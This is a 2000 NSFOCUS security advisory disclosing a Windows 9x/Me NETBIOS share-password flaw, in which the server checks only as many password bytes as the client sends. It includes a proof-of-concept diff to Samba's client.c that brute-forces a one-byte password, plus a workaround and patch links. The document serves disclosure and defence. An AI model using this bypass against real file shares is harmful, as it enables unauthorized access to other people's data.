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NSFOCUS SA2000-05: Microsoft Windows 9x NETBIOS password verification vulnerability
From: Nsfocus Security Team <security () NSFOCUS COM>
Date: Thu, 12 Oct 2000 11:25:24 +0800

NSFOCUS Security Advisory(SA2000-05)

Topic: Microsoft Windows 9x NETBIOS password verification vulnerability

Release Date: August 24, 2000
Update  Date: Oct 11 , 2000

Affected System:
================
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows 98 Second Edition
- Microsoft Windows Me

Non-affected System:
====================
- Microsoft Windows NT 4.0
- Microsoft Windows 2000

Impact:
==========

A vulnerability exists in the password verification scheme utilized by Microsoft
Windows 9x NETBIOS protocol implementation. This vulnerability will allow any
user to access the Windows 9x file shared service with password protection.
Attacker don't have to know the share password.

Description:
=============

You can set password to protect Microsoft Windows 9x system's shared resources.
But a vulnerability exists in the password verification scheme utilized by
Microsoft Windows 9x NETBIOS protocol implementation. To verify the password,
the length of the password depends on the length of the data sent from client to
server. That is, if a client set the length of password to be one byte and send
the packet with plaintext password to server, the server will only compare it
with the first byte of the shared password(plaintext), and if consistent,
verification process is done. All an attacker need to do is to guess and try the
first byte of password in the victim .
Windows 9x remote management system is also affected cause it adopts the same
shared password authentication method.

Exploit:
=========

Here is one simple example to demonstrate this bug.
Get samba source package and modify source/client/client.c like this:

--- samba-2.0.6.orig/source/client/client.c     Thu Nov 11 10:35:59 1999
+++ samba-2.0.6/source/client/client.c  Mon Sep 18 21:20:29 2000
@@ -1961,12 +1961,22 @@ struct cli_state *do_connect(char *serve

        DEBUG(4,(" session setup ok\n"));

+/*
        if (!cli_send_tconX(c, share, "?????",
                            password, strlen(password)+1)) {
                DEBUG(0,("tree connect failed: %s\n", cli_errstr(c)));
                cli_shutdown(c);
                return NULL;
        }
+*/
+
+        password[0] = 0;
+        c->sec_mode = 0;
+        do{
+
+          password[0]+=1;
+
+        }while(!cli_send_tconX(c, share, "?????", password, 1));

        DEBUG(4,(" tconx ok\n"));



Workaround:
=========
Close Microsoft File and Print shared service.

Solution:
===========
Microsoft has  been informed and released one security bulletin concerning this
flaw.

The bulletin is live at :

http://www.microsoft.com/technet/security/bulletin/MS00-072.asp

Patches are available at:

. Microsoft Windows 95

  Patch available shortly

. Microsoft Windows 98 and 98 Second Edition

  http://download.microsoft.com/download/win98SE/Update/11958/W98/EN-US/273991USA8.EXE

. Microsoft Windows Me

  http://download.microsoft.com/download/winme/Update/11958/WinMe/EN-US/273991USAM.EXE

DISCLAIMS:
==========
THE INFORMATION PROVIDED IS RELEASED BY NSFOCUS "AS IS" WITHOUT WARRANTY OF ANY
KIND. NSFOCUS DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, EXCEPT FOR
THE WARRANTIES OF MERCHANTABILITY. IN NO EVENTSHALL NSFOCUS BE LIABLE FOR ANY
DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,CONSEQUENTIAL, LOSS OF
BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF NSFOCUS HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. DISTRIBUTION OR REPRODUTION OF THE INFORMATION IS
PROVIDED THAT THE ADVISORY IS NOT MODIFIED IN ANY WAY.

?Copyright 1999-2000 NSFOCUS. All Rights Reserved. Terms of use.


NSFOCUS Security Team <security () nsfocus com>
NSFOCUS INFORMATION TECHNOLOGY CO.,LTD
(http://www.nsfocus.com)


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